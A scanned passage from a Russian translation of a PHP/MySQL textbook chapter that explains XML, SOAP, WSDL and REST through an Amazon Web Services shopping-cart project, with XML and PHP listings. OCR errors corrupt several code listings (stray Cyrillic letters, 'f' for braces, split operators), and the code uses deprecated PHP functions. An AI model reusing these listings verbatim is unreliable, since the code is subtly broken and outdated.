33 Подключение к веб-службам с помощью XML и SOAP За последние несколько лет язык XML (Extensible Markup Language — расширяе- мый язык разметки) превратился в важное средство обмена данными. В этой гла- ве мы воспользуемся интерфейсом веб-служб компании Amazon для построения поку- пательской тележки на своем веб-сайте, который будет эксплуатировать сайт Amazon как машину баз данных. (Это приложение получило название Tahuayo (Тахуайо), по названию одного из притоков Амазонки.) При этом будут задействованы два различ- ных метода: SOAP и REST. Метод REST известен еще и как XML через HTTP. Для реа- лизации этих двух методов мы прибегнем к услугам встроенной РНР-библиотеки SimpleXML и внешней библиотеки NuSOAP. В этой главе, помимо прочих, подробно рассматриваются следующие темы. Основы XML и веб-служб. Использование XML для обмена данными с сайтом Amazon. Выполнение синтаксического разбора XML-кода с помощью РНР-библиотеки SimpleXML. Кэширование ответов. Обмен данными с сайтом Amazon с помощью библиотеки NuSOAP. Обзор проекта: работа с XML и веб-службами В рамках этого проекта перед нами стоят две цели: первая — помочь читателям в ознакомлении с XML и SOAP и способами их использования в коде РНР. Вторая цель связана с применением этих технологий для обмена данными с внешним миром. В ка- честве примера, который может оказаться полезным при создании собственных веб- сайтов, мы выбрали программу веб-служб сайта Amazon (Amazon Web Services). Уже давно компания Amazon предлагает вспомогательную программу, которую можно использовать для рекламы товаров, поставляемых Amazon, на своем веб-сайте. При этом пользователи получают возможность открывать ссылки на страницы каждо- го товара, представленного на сайте Amazon. Если кто-либо из посетителей щелкает на ссылке, а затем приобретает тот или иной товар, вы получаете небольшие комис- сионные. Глава 33. Подключение к веб-службам с помощью XML и SOAP 745
Программа веб-служб позволяет использовать сайт Amazon не только в качеств^ машины баз данных: на сайте Amazon можно выполнять поиск и отображать результа- ты на собственном сайте, или же непосредственно заполнять покупательскую тележ- ку пользователя содержимым тех элементов, которые он выбрал во время просмотра сайта. Другими словами, клиент использует ваш сайт до тех пор, пока не наступит время оплачивать выбранные товары, что нужно делать через сайт Amazon. Обмен данными между вашим сайтом и сайтом Amazon может выполняться двумя способами. Первый из них предполагает использование XML через HTTP, который называется также REST (Representational State Transfer — передача репрезентативного состояния). Например, если требуется выполнить поиск, используя этот метод, следу- ет отправить обычный HTTP-запрос необходимой информации, а сайт Amazon отве- тит XML-документом, содержащим запрошенную информацию. Затем можно выпол- нить синтаксический разбор этого XML-документа и отобразить результаты поиска конечному пользователю с помощью выбранного вами интерфейса. Процесс отправ- ки и получения данных посредством протокола HTTP очень прост, но степень слож- ности анализа результирующего документа зависит от сложности документа. Второй способ обмена данными с сайтом Amazon — использование протокола SOAP, являющегося одним из стандартных протоколов веб-служб. Название этого про- токола представляет собой аббревиатуру от Simple Object Access Protocol (Простой прото- кол доступа к объектам), но оказалось, что протокол не столь уж прост, поэтому назва- ние слегка вводит в заблуждение. Результирующий протокол по-прежнему называется SOAP, однако это название больше не считается аббревиатурой. В ходе разработки этого проекта мы построим клиент SOAP, который сможет отправ- лять запросы и получать ответы от сервера SOAP в Amazon. Эти ответы содержат ту же информацию, что и ответы, полученные методом XML через HTTP, но при этом будет применен другой подход к извлечению данных — с помощью библиотеки NuSOAP. Конечная цель разработки этого проекта — построение веб-сайта по продаже книг, который использует сайт Amazon в качестве машины базы данных. Мы построим две альтернативные версии: одну с использованием метода REST и вторую с применением протокола SOAP. Перед тем, как погрузиться в исследование специфических элементов разрабаты- ваемого приложения, рассмотрим общую структуру и применение XML и веб-служб. Основы XML Сначала имеет смысл потратить некоторое время на ознакомление с основами XML и веб-службами, на тот случай, если вам не знакомы эти концепции. Как уже отмечалось, XML — это Extensible Markup Language (Расширяемый язык раз- метки). Со спецификацией языка можно ознакомиться на сайте W3C. На этом сайте (http://www.w3.org/XML/) представлен большой объем информации по XML. Язык XML построен на основе языка SGML — Standard Generalized Markup Language (Стандартный обобщенный язык разметки). Для тех читателей, которые уже знакомы с языком HTML (Hypertext Markup Language — язык разметки гипертекста) (если это не так, то вы начали чтение книги явно не с того раздела), концепции XML не пред- ставят особой сложности. XML — это текстовый формат представления документов, в основе которого лежит использование дескрипторов. В качестве примера рассмотрим текст в листинге 33.1, который представляет собой XML-документ, посылаемый сайтом Amazon в ответ на запрос XML через HTTP. 746 Часть V. Реальные проекты на РНР и MySQL
Листинг 33.1. XML-документ, описывающий первое издание этой книги <?xml version=’’l. О" encoding="UTF-8"?> <ItemLookupResponse xmlns="http://webservices.amazon.com/AWSECommerceService/2005-03-23"> <Items> <Request> <IsValid>True</IsValid> <11emLoo kupReque st > <IdType>ASIN</IdType> <ItemId>0672317842</ItemId> <ResponseGroup>Similarities</ResponseGroup> <ResponseGroup>Small</ResponseGroup> </ItemLookupRequest> </Request> <Item> <ASIN>0672317842</ASIN> <DetailPageURL>http://www.amazon.com/PHP-MySQL-Development-Luke- Welling/dp/0672317842%3F%261inkCode%3Dspl%26camp%3D2025%26creative%3D165953%26crea tiveASIN%3D0672317842 </DetailPageURL> <ItemAttributes> <Author>Luke Welling</Author> <Author>Laura Thomson</Author> <Manufacturer>Sams</Manufacturer> <ProductGroup>Book</ProductGroup> <Title>PHP and MySQL Web Development</Title> </ItemAttributes> <SimilarProducts> <SimilarProduct> <ASIN>1590598628</ASIN> <Title>Beginning PHP and MySQL: From Novice to Professional, Third Edition (Beginning from Novice to Professional)</Title> </SimilarProduct> <SimilarProduct> <ASIN>032152599X</ASIN> <Title>PHP 6 and MySQL 5 for Dynamic Web Sites: Visual QuickPro Guide</Title> </SimilarProduct> <SimilarProduct> <ASIN>B00005UL4F</ASIN> <Title>JavaScript Definitive Guide</Title> </SimilarProduct> <SimilarProduct> <ASIN>1590596145</ASIN> <Title>CSS Mastery: Advanced Web Standards Solutions</Title> </SimilarProduct> <SimilarProduct> <ASIN>0596005431</ASIN> <Title>Web Database Applications with PHP &amp; MySQL, 2nd Edition</Title> </SimilarProduct> </SimilarProducts> </Item> </Items> Глава 33. Подключение к веб-службам с помощью XML и SOAP 747
Документ начинается со следующей строки: <?xml version=’’l. О" encoding=’’UTF-8"?> Это стандартное объявление сообщает, что следующий документ будет XML-доку- ментом, в котором используется кодировка символов UTF-8. Теперь рассмотрим тело документа. Весь документ состоит из пар открывающих и закрывающих дескрипторов вроде тех, что находятся между дескрипторами <Item> и </Item>: <ltem> </Item> Item — это элемент, аналогичный элементам HTML. Точно так же, как в HTML, элементы могут быть вложенными один в другой. В рассматриваемом примере внут- ри элемента Item содержится элемент ItemAttributes, который также имеет внутри себя элементы, такие как Author: <ItemAttributes> <Author>Luke Welling</Author> <Author>Laura Thomson</Author> <Manufacturer>Sams</Manufacturer> <ProductGroup>Book</ProductGroup> <Title>PHP and MySQL Web Development</Title> Имеется также ряд отличий от языка HTML. Во-первых, для каждого открываю- щего дескриптора должен существовать соответствующий закрывающий дескриптор. Единственное исключение из этого правила — пустые элементы, которые открывают- ся и закрываются в одном дескрипторе, поскольку они не содержат никакого текста. Если вы знакомы с языком XHTML, то встречали дескриптор <br />, который исполь- зуется вместо дескриптора <br> именно по этой причине. Кроме того, все элементы должны быть корректно вложень»!. Вероятно, используя анализатор HTML, можно получить нужный результат анализа строки <Ь><1>Текст</Ь></1>, но чтобы быть до- пустимыми дескрипторами XML или XHTML, они должны быть вложены соответст- вующим образом, как, например, <Ь><1>Текст</1х/Ь>. Основное заметное различие между языками XML и HTML заключается в том, что в ходе создания документа можно создавать собственные дескрипторы! Это обусловле- но гибкостью XML. Документы можно структурировать в соответствии с данными, ко- торые необходимо в них хранить. Структуру XML-документов можно формализовать, создавая либо определение типа документа (Document Type Definition — DTD) либо схему XML (XML Schema) . Оба эти документа служат для описания структуры данного XML-документа. При желании DTD или схему можно считать своего рода объявлени- ем класса, а XML-документ — экземпляром этого класса. В приведенном примере DDT или схема не используются. Текущую XML-схему Amazon для веб-служб можно прочитать по адресу http: / / webservices.amazon.com/AWSECommerceService/AWSECommerceService.xsd. Необходимо иметь возможность открывать XML-схему непосредственно в браузере. Обратите внимание, что за исключением начального XML-объявления все тело до- кумента содержится внутри элемента ItemLoolcupResponse. Этот элемент называется корневым элементом документа. Рассмотрим его подробнее: <ItemLookupResponse xmlns=’’http: / /webservices . amazon. com/AWSECommerceService/2005-03-23’’> 748 Часть V. Реальные проекты на РНР и MySQL
Он содержит несколько необычный атрибут, который называется пространством имен XML (XML namespace). Для разработки этого проекта понимание пространств имен не обязательно, но они могут быть весьма полезными. Основная идея состоит в оп- ределении имен элементов и атрибутов с помощью пространства имен, чтобы обычно используемые имена не конфликтовали при работе с документами из различных источ- ников. Для получения дополнительной информации о пространствах имен рекомендуется прочесть документ “Namespaces in XML Recommendation” (“Пространства имен в реко- мендациях по XML”), доступный по адресу http: / /www. w3. org/TR/REC-xml-names/. Более подробную информацию по языку XML в целом можно получить из множе- ства источников. Прекрасная отправная точка — сайт компании W3C. Кроме того, су- ществуют сотни хороших книг и интерактивных учебников. Сайт ZVON.org включает один из лучших учебников по XML. Основы веб-служб Веб-службы — это интерфейсы приложений, доступные через World Wide Web. Если вы предпочитаете мыслить категориями объектно-ориентированного программиро- вания, веб-службу можно считать классом, который предоставляет свои общедос^ тупные методы посредством Веб. В настоящее время веб-службы получили широкое распространение, и некоторые из крупнейших компаний делают функциональные возможности своих приложений доступными с помощью механизма веб-служб. Например, Google, Amazon, eBay и PayPal предлагают набор веб-служб. После того, как в ходе ознакомления с материалом этой главы вы настроите клиент интерфейса Amazon, создание клиентского интерфейса для сайта Google должно быть достаточно простой задачей. Более подробную информацию Можно найти на веб-сайте http: // code.google.сот/apis/. Эта методология удаленного вызова функций предполагает использование несколь- ких протоколов. Двумя наиболее важными из них являются SOAP и WSDL. SOAP SOAP — это управляемый запросами и ответами протокол обмена сообщениями, ко- торый позволяет клиентам вызывать веб-службы, а серверам отвечать им. Каждое со- общение SOAP, будь то запрос или ответ, является простым XML-документом. Пример запроса SOAP, который можно отправить сайту Amazon, показан в листинге 33.2. В действительности этот запрос порождает ответ, приведенный ранее в листинге 33.1. Листинг 33.2. Запрос SOAP на выполнение поиска по ASIN <SOAP-ENV:Envelope> <SOAP-ENV:Body>' <m:ItemLookup> <m:Request> <m:AssociateTag>webservices-20</m:AssociateTag> <m:IdType>ASIN</m:IdType> <m:ItemId>0672317842</m:Itemld> <m:AWSAccessKeyId>0XKKZBBJHE7GNBWF2ZG2</m:AWSAccessKeyId> <m:ResponseGroup>Similarities</m:ResponseGroup> <m:ResponseGroup>Small</m:ResponseGroup> </m:Request> </m:ItemLookup> </SOAP-ENV:Body> Глава 33. Подключение к веб-службам с помощью XML и SOAP 749
Сообщение SOAP начинается с объявления того, что данный документ является XML-документом. Корневым элементом всех сообщений SOAP является конверт SOAP. Внутри него находится элемент Body, содержащий собственно запрос. Запросом служит элемент ItemLookup, который в этом примере просит сервер Amazon выполнить в своей базе данных поиск конкретного элемента по ASIN — Amazon.com Standard Item Number (Стандартный номер элемента Amazon.com). Это — уникальный идентификационный номер, присвоенный каждому товару в базе данных Amazon.com. ‘ Элемент ItemLookup можно считать вызовом функции на удаленном компьютере, а содержащиеся внутри него элементы — параметрами, передаваемыми этой функции. В рассматриваемом примере после передачи значения “ASIN” через элемент IdType в элементе Item Id передается действительный номер ASIN (0672317842); это номер ASIN первого издания этой книги. Потребуется также передать AssociateTag, пред- ставляющий собой идентификатор Associate ID, предпочитаемый тип ответов (в эле- менте ResponseGroup) и AWSAccessKeyld, который является значением маркера раз- работчика, выданного вам компанией Amazon. Ответ на этот запрос подобен XML-документу, представленному в листинге 33.1, но он помещен в конверт SOAP. Как правило, при работе с протоколом SOAP генерирование запросов SOAP и интер- претация ответов выполняется программно с использованием библиотеки SOAP, незави- симо от применяемого языка программирования. Это очень удобно, поскольку избавля- ет от необходимости строить запросы SOAP и интерпретировать ответы вручную. WSDL WSDL представляет собой аббревиатуру от Web Services Description Language (язык описания веб-служб). Этот язык применяется для описания интерфейса доступных служб на конкретном веб-сайте. WSDL-документ, описывающий веб-службу Amazon, используемую в данной главе, можно найти на веб-странице по адресу http:// ecs.amazonaws.com/AWSECommerceService/AWSECommerceService.wsdl. Последовав по этой ссылке, можно будет убедиться, что WSDL-документы значи- тельно сложнее сообщений SOAP. По возможности их всегда следует генерировать и интерпретировать программно. Более подробную информацию по WSDL можно найти на сайте рекомендаций W3C Recommendation по адресу http://www.w3.org/TR/wsdl20/. Компоненты решения Для решения задачи требуется разработка нескольких компонентов. Кроме наибо- лее очевидных компонентов — интерфейса покупательской тележки, предназначен- ного для отображения клиентов, и, кода подключения к веб-службе Amazon через про- токол REST или SOAP — необходимы дополнительные компоненты. После того как XML-документ получен, код должен выполнить его анализ с целью извлечения инфор- мации, которая будет отображаться интерфейсом тележки. Для удовлетворения тре- бований, предъявляемых компанией Amazon, и для повышения производительности следует подумать о применении кэширования. И, наконец, поскольку действия по оплате заказа должны выполняться на сайте Amazon, требуются’ определенные функ- циональные компоненты для передачи содержимого тележки пользователя и самого пользователя веб-службе Amazon. 750 Часть V. Реальные проекты на РНР и MySQL
Очевидно, что интерфейсом системы должно быть приложение покупательской тележки. Это уже было сделано в главе 28. Поскольку покупательские тележки не явля- ются основной целью данного проекта, в этой главе мы используем упрощенное при- ложение. Нам потребуется создать лишь упрощенную версию тележки, позволяющую отслеживать товары, которые клиент хотел бы приобрести, и сообщать о них сайту Amazon до наступлейия момента оплаты заказа. Использование интерфейсов веб-служб Amazon Чтобы использовать интерфейс веб-служб Amazon, необходимо подписаться на маркер разработчика по адресу http: //aws. amazon. com, Этот маркер используется для идентификации на сайте Amazon при запросе разрешения на вход. Можно также подписаться на идентификатор компаньона Amazon Associate ID. Этот идентификатор позволяет получать комиссионные, если кто-либо приобретает товары через созданный вами интерфейс. Центр ресурсов для разработчиков веб-служб Amazon (Amazon Web Services (AWS) Resource Center for Developers), доступный по адресу http://developer. amazonwebservices.com/, содержит приличный объем документации, учебных по- собий и примеров кода для подключения ко всем веб-службам Amazon через SOAP и REST. Вместе с примерами из настоящей главы все это поможет получить рабочую систему и ознакомиться с основами подключения к AWS для извлечения информации. Тем не менее, если вы планируете построить нечто большее, чем рассматриваемое в главе приложение, потребуется потратить должное время на изучение документации. Например, можно искать и извлекать набор элементов из интерфейсов просмотра и прямого поиска. Возвращаемые данные могут иметь разнообразные структуры, в зави- симости от искомых элементов. Исчерпывающую информацию можно найти в руко- водстве “AWS Developer Guide”, достуцном на указанном выше веб-сайте. На заметку! Еще одним полезным ресурсом является AWSZone.com (http://www.awszone.com/). На этом веб-сайте можно тестировать запросы SOAP и REST и просматривать структуру как запроса, так и ответа, что поможет корректно ссылаться на возвращаемые данные. Вдобавок тестовые отве- ты дадут возможность определить точный элемент ResponseGroup, который обеспечит лучшие результаты и скорость. При регистрации маркера разработчика потребуется принять условия лицензион- ного соглашения. Его стоит внимательно прочесть, поскольку оно отличается от обыч- ных лицензионных соглашений по использованию программного обеспечения. Оно содержит ряд условий, соблюдение которых важно при реализации приложения. Вы не должны выдавать более одного запроса в секунду. Вы должны кэшировать данные, поступающие с сайта Amazon. Большинство данных можно помещать в кэш на период до 24 часов, а некото- рые стабильные атрибуты — на период до трех месяцев. При помещении в кэш информации о ценах и доступности на период более одного часа вы должны выводить предупреждение. Все ссылки должны адресоваться обратно на сайт Amazon.com, а текстовые и графические элементы, загруженные с сайта Amazon, не должны снабжаться ссылками на другие коммерческие сайты. Глава 33. Подключение к веб-службам с помощью XML и SOAP 751
Учитывая трудное произношение имени домена, отсутствие рекламы и очевидных причин использования сайта Tahuayo.com вместо обращения непосредственно к сайту Amazon.com, поддержание частоты запросов меньшей одного запроса в секунду не тре- бует никаких дополнительных действий. В этом проекте мы реализуем кэширование, удовлетворяющее условиям пунктов 2-4. Приложение будет кэшировать изображения на период в 24 часа, а сведения о товарах (сведения о цене и доступности) — на 1 час. Разбор XML: ответы REST Наиболее популярный интерфейс веб-служб, предлагаемый компанией Amazon, реализован посредством REST. Этот интерфейс принимает обычный HTTP-запрос и возвращает XML-документ. Чтобы использовать этот интерфейс, необходимо иметь возможность выполнять разбор XML-ответа, возвращаемого сайтом Amazon. Это мож- но делать с помощью PHP-библиотеки SimpleXML. Использование SOAP с РНР Другой интерфейс, предоставляющий доступ к тем же веб-службам — SOAP. Для получения доступа к этим службам через SOAP необходимо воспользоваться одной из разнообразных библиотек SOAP языка РНР. Существует встроенная библиотека SOAP, но поскольку она доступна не всегда, можно применять библиотеку NuSOAP. Так как библиотека NuSOAP написана на языке РНР, она не требует компиляции. Она представляет собой единственный файл, который нужно вызвать с помощью require_once (). Библиотека NuSOAP доступна по адресу http://sourceforge.net/projects/ nusoap/. Правила ее использования регламентируются лицензионным соглашением Lesser GPL; т.е. ее можно использовать в любых приложениях, в том числе и платных. Кэширование Как уже упоминалось, в соответствии с условиями, предъявляемыми компанией Amazon к разработчикам, данные, загруженные из сайта Amazon через веб-службы, должны кэшироваться. В разрабатываемом решении нам придется найти способ хра- нения и многократного использования загруженных данных до момента истечения соответствующего срока. Обзор решения В этом проекте мы снова воспользуемся подходом, управляемым событиями, кото- рый применялся в главах 29 и 30. В этом примере мы не приводим блок-схему системы, поскольку приложение содержит всего несколько экранов, а связи между ними просты. Пользователи будут начинать работу с главного экрана сайта Tahuayo, показанного на рис. 33.1. Как видите, основные элементы сайта — раздел избранных категорий (Selected Categories) и элементы этих категорий. По умолчанию на титульной странице ото- бражаются бестселлеры категории документальных книг. Если Пользователь щелкнет на другой категории, отобразится аналогичная титульная страница соответствующей категории. 752 Часть V. Реальные проекты на РНР и MySQL
Рис. 33.1. Первый экран сайта Tahuayo отображает все основные функциональные элементы сайта: средства навигации по категориям, средства поиска и покупательскую тележку Прежде чем продолжить, приведем краткое описание используемых терминов: компания Amazon называет категории узлами просмотра (browse nodes). Это выраже- ние будет встречаться как в коде, так и в официальной документации. В документации приведен список популярных узлов просмотра. Кроме того, если необходимо увидеть конкретный узел просмотра, можно выполнить просмотр обыч- ного сайта Amazon.com и прочитать узел из URL-адреса, а также воспользоваться ресурсом Browse Nodes (Просмотр узлов) по адресу http: //www.browsenodes.com/. Однако не существует способа ознакомления с полным списком узлов. К сожалению, некоторые важные категории, такие как наиболее продаваемые книги, не доступны в качестве узлов просмотра. В нижней части этой страницы представлена информация о других книгах и ссыл- ки на дополнительные страницы (они не поместились на снимке экрана). На каждой странице будет отображаться информация о 10 книгах и до 30 ссылок на другие стра- ницы. Это значение, равное 10 книгам на страницу, было установлено сайтом Amazon. 30-страничный предел был выбран нами произвольно. С этой страницы пользователи могут получать подробную информацию об отдель- ных книгах, щелкая на соответствующих ссылках. Соответствующий экран показан на рис. 33.2. Хотя на снимке уместилась и не вся информация, которую сайт Amazon отправля- ет в ответ на подробный запрос этой страницы, на нем все же видна большая часть сведений. Мы решили пренебречь теми разделами страницы, которые посвящены не книгам. Глава 33. Подключение к веб-службам с помощью XML и SOAP 753
Рис. 33.2. Страница подробных сведений содержит дополнительную информацию о конкретной книге, в том числе информацию об аналогичных товарах и рецензии Щелкнув на изображении обложки, пользователь получает возможность просмот- реть увеличенную версию изображения. В верхней части экрана, Показанной на этих рисунках, видно поле поиска. Этот элемент позволяет выполнять поиск по ключевому слову на данном сайте и в каталоге сайта Amazon через его интерфейс веб-служб. Пример результата выполнения поиска можно видеть на рис. 33.3. Хотя в этом проекте перечислены только несколько категорий, клиенты могут об- ратиться к любой книге, используя функции поиска и переходя к конкретным книгам. Каждая отдельная книга имеет связанную с ней ссылку Add to Cart (Добавить в тележку). Щелчок на этой ссылке или на ссылке Details (Сведения) на итоговой странице тележки перемещает пользователя на страницу содержимого тележки. Эта страница показана на рис. 33.4. И, наконец, когда клиент выполняет оплату заказа, щелкая на одной из ссылок Checkout (Оплата) сведения о содержимом его покупательской тележки отправляют- ся на сайт Amazon, и пользователь направляется на него. В браузере клиента открыва- ется страница, аналогичная показанной на рис. 33.5. Теперь вы должны уяснить, что понимается под созданием собственного интер- фейса и использованием сайта Amazon в качестве машины базы данных. Поскольку в этом проекте мы снова используем подход, управляемый событиями, большая часть логики принятия решений в ходе выполнения приложения размещает- ся в единственном файле, index.php. Перечень файлов приложения представлен в табл. 33.1. 754 Часть V. Реальные проекты на РНР и MySQL
Search Results For batman Batman: The Dark Knight Returns by Frank Miller Published 1997 05-01 $7.82 (Kst price $14.99) ISBN: 1563893428 Customer Rating: ★★★★!» Batman: The Killing Joke by Alan Moore and Brian BoSand Pubhshed 2008-03-19 $9.23 (hst pnce $17.99) ISBN: 1401216676 Рис. 33.3. Этот экран отображает результаты поиска по ключевому слову batman Рис. 33.4. На странице покупательской тележки клиент может удалить товары, очистить тележку или перейти к оплате заказа Глава 33. Подключение к веб-службам с помощью XML и SOAP 755
Рис. 33.5. Перед помещением товаров в покупательскую тележку Amazon система запрашивает подтверждение транзакции и отобра- жает все товары, находящиеся в покупательской тележке Tahuayo Таблица 33.1. Файлы приложения Tahuayo Имя файла Тип Описание index.php Приложение Содержит главный файл приложения. about.php Приложение Отображает страницу About (О приложении). constants.php Включаемый файл Определяет глобальные константы и переменные. topbar.php Включаемый файл Генерирует информационную строку, отобра- жаемую вдоль верхнего края каждой страницы, и вложенную таблицу стилей. bottom.php Включаемый файл Генерирует нижний колонтитул, отображаемый в нижней части каждой страницы. AmazonResultSet.php Файл класса Содержит класс РНР, хранящий результаты каж- дого из запросов к сайту Amazon. Product.php Файл класса Содержит класс РНР, хранящий информацию об одной конкретной книге. bookdisplayfunctions.p Функции Содержит функции, которые помогают отобра- жать книги и списки книг. cachefunctions.php Функции Содержит функции для выполнения кэширова- ния, требуемого сайтом Amazon. cartfunctions.php Функции Содержит функции, связанные с покупательской тележкой. categoryfunctions.php Функции Содержит функции, которые помогают извле- кать и отображать категории. utilityfunctions.php Функции Содержит несколько вспомогательных функций, используемых в приложении. 756 Часть V. Реальные проекты на РНР и MySQL
Для функционирования приложения требуется также упоминавшийся ранее файл nusoap.php, поскольку он необходим для работы перечисленных файлов. Файл NuSOAP можно найти в каталоге chapter33 загружаемого кода, но вы можете заме- нить его новой версией из http://sourceforge.net/projects/nusoap/, если она доступна. Начнем рассмотрение этого проекта с файла ядра приложения index.php. Ядро приложения Содержимое файла приложения index. php показано в листинге 33.3. Листинг 33.3. index.php — файл ядра приложения <?php // Для хранения содержимого тележки мы используем // только одну переменную сеанса 'cart' session_start() ; session_start(); require_once(1 constants.php'); require_once('Product.php'); require_once('AmazonResultSet.php'); require_once('utilityfunctions.php'); require_once('bookdisplayfunctions.php'); require_once('cartfunctions.php'); require_once('categoryfunctions.php'); // Эти переменные должны поступать извне. // Код будет проверять их допустимость и преобразовывать //в глобальные переменные $external = array('action', 'ASIN', 'mode', 'browseNode', 'page', 'search'); // Переменные могут поступать через метод GET или POST. // Все ожидаемые внешние переменные преобразуются в короткие глобальные имена foreach ($external as $е) { if(@$_REQUEST[$е]) { $$e = $_REQUEST[$e]; } else { $$e = ' ' ; } $$e = trim($$e); } // Значения глобальных переменных, определенные по умолчанию if($mode=='') { $mode = 'Books'; // Никакие другие режимы не тестировались } if ($browseNode=='') { $browseNode = 53; // 53 — это документальный бестселлер } if($page=='') { $page =1; // Первая страница — каждая страница содержит 10 наименований } // Проверка/усечение ввода if (!eregi('л[A-Z0-9]+$', $ASIN)) { // номера ASIN должны быть алфавитно-цифровыми $ASIN = " ; } Глава 33. Подключение к веб-службам с помощью XML и SOAP 757
if(!eregi('л[a-z]+$', $mode)) { // режим должен быть алфавитным $mode = 'Books’; } $page=intval($page); // значения page и browseNode должны быть целочисленными $browseNode = intval(SbrowseNode); // Это может вызывать определенное недоумение, но мы отбрасываем некоторые // символы из значения $search, поскольку нам представляется уместным // изменить его на данном этапе, так как оно будет отображаться в заголовке $search = safeString($search); if (!isset($_SESSION['cart']) ) f session_register('cart'); $_SESSION['cart'] = array(); } // Задачи, которые должны быть выполнены до отображения верхней строки if($action== ’addtocart') { addToCart($_SESSION['cart'], $ASIN, $mode); } if($action == ’deletefromcart') { deleteFromCart($_SESSION[’cart'], $ASIN); } if($action == 'emptycart') { $_SESSION['cart'] = array(); } /1 Отображение верхней строки require_once ('topbar.php'); // Главный цикл событий. Реагирует на действия пользователя на вызывающей странице switch ($action) { case ’detail’: showcategories($mode); showDetail($ASIN, $mode); break; case ’addtocart’: case 'deletefromcart': case 'emptycart': case 'showcart': echo "<hr /><hl>Your Shopping Cart</hl>”; showCart($_SESSION['cart'], $mode); break; case ’image’: showcategories($mode); echo "<hl>Large Product Image</hl>"; showimage($ASIN, $mode); break; case 'search': showcategories($mode); echo "<hl>Search Results For ".$search."</hl>"; showSearch($search, $page, $mode); break; case 'browsenode': default: showcategories($mode); 758 Часть V. Реальные проекты на РНР и MySQL
$category = getCategoryName($browseNode); if(!$category | | ($category=='Best Selling Books')) { echo "<hl>Current Best Sellers</hl>"; } else { echo "<hl>Current Best Sellers in ".$category."</hl>"; } showBrowseNode($browseNode, $page, $mode) ; break; } require ('bottom.php'); Давайте проанализируем этот файл. Он начинается с создания сеанса. Подобно тому, как это выполнялось ранее, покупательская тележка клиента сохраняется в виде переменной сеанса. Затем мы включаем ряд файлов. Большинство из них — библиотеки функций, о которых будет рассказано далее, а теперь мы рассмотрим первый включаемый файл. Этот файл, constants.php, определяет набор важных констант и переменных, кото- рые будут использоваться в приложении. Содержимое файла constants .php приведе- но в листинге 33.4. Листинг 33.4. constants, php - объявление основных «глобальных констант и переменных <?php // Это приложение может подключаться с помощью // метода REST (XML через HTTP) или SOAP. // Выберите версию метода (METHOD). // define('METHOD', 'SOAP'); define('METHOD', 'REST'); // Обязательно создайте каталог кэша и сделайте его доступным для записи define('CACHE', 'cache'); // путь к кэшированным файлам define('ASSOCIATEID', 'ХХХХХХХХХХХХХХ'); // поместите здесь свой Associate ID define ('DEVTAG', 'ХХХХХХХХХХХХХХ'); * // поместите здесь свой маркер разработчика // Вывод сообщения об ошибке, если программа выполняется с фиктивным devtag i f(DEVTAG=='ХХХХХХХХХХХХХХ') { die ("You need to sign up for an Zkmazon.com developer tag at <a href=\"https://aws.amazon.com/\">Amazon</a> when you install this software. You should probably sign up for an associate ID at the same time. Edit the file constants.php."); } // (Частичный) список узлов просмотра сайта Amazon $categoryList = array(5=>'Computers & Internet', 3510=>'Web Development', 295223=>'PHP', 17=>'Literature and Fiction', 3=>'Business & Investing', 53=>'Non Fiction', 23=>'Romance', 75=>'Science', 21=>'Reference', 6 =>'Food & Wine', 27=>'Travel', 16272=>'Science Fiction' ); Это приложение может использовать либо метод REST, либо SOAP. Метод, кото- рый должно использовать приложение, можно указывать, изменяя значение констан- ты METHOD. Глава 33. Подключение К веб-службам с помощью XML и SOAP 759
Константа CACHE содержит путь к кэшу данных, загруженных с сайта Amazon. Измените ее значение на конкретный путь в своей системе. Константа ASSOCIATE ID содержит значение идентификатора Associate ID. При от- правке этого значения на сайт Amazon вместе с транзакциями вы будете получать комис- сионные. Не забудьте его изменить на значение своего идентификатора Associate ID. Константа DEVTAG содержит значение маркера разработчика, выданного сайтом Amazon при регистрации. Необходимо изменить это значение на значение своего маркера разработчика; в противном случае приложение работать не будет. Подписка на упомянутый маркер осуществляется по адресу http: //aws. amazon. com. Вернемся снова к файлу index. php. Он содержит ряд предварительных операто- ров и главный цикл событий. Процесс начинается с извлечения любых входных пере- менных из суперглобальной переменной $-REQUEST, поступающей с использованием методов GET или POST. Затем устанавливаются используемые по умолчанию значения для ряда стандартных глобальных переменных, определяющих данные, которые будут отображаться впоследствии, как показано ниже: // Значения глобальных переменных, определенные по умолчанию if($mode==*’) { $mode = 'Books’; // Никакие другие режимы не тестировались } if ($browseNode=='’) { $browseNode = 53; // 53 — это документальный бестселлер } if($раде=='') { $раде = 1; // Первая страница — каждая страница содержит 10 наименований } В качестве значения переменной $mode мы устанавливаем Books. Сайт Amazon под- держивает множество других режимов (типов товаров), но в данном приложении нас интересуют только книги. Изменение предложенного в этой главе кода для работы с другими категориями не должно представлять особой сложности. Первым шагом та- кого расширения области приложения, была бы переустановка значения $mode. При этом потребовалось бы выяснить в документации значения атрибутов, возвращаемые для товаров, отличных от книг, и удалить из интерфейса пользователя все элементы, относящиеся к книгам. Переменная $browseNode определяет категорию книг, которая должна отобра- жаться на странице. Эта переменная может устанавливаться, если пользователь щел- кает на одной йз ссылок Selected Categories (Избранные категории). Если она не ус- тановлена — например, когда пользователь впервые заходит на сайт — ее значение будет равно 53. Узлы просмотра сайта Amazon — это всего лишь целые числа, которые идентифицируют категорию. Значение равное 53 представляет категорию докумен- тальных книг. С учетом того, что ряд наиболее популярных общих категорий (вроде Best Sellers) не доступен в качестве узлов просмотра, этот узел подходит для отображе- ния на начальной титульной странице ничуть не меньше любого другого. Переменная $раде сообщает сайту Amazon, какой поднабор результатов желатель- но отображать внутри данной категории. Страница 1 содержит результаты 1-10, стра- ница 2 — результаты 11-20 и т.д. Сайт Amazon устанавливает количество элементов, отображаемых на странице, поэтому управлять этим значением не нужно. Конечно, на одной своей странице можно было отображать две или более “страниц” данных сайта Amazon, но 10 — выбор, который представляется наиболее рациональным и не требует дополнительных действий. 760 Часть V. Реальные проекты на РНР и MySQL
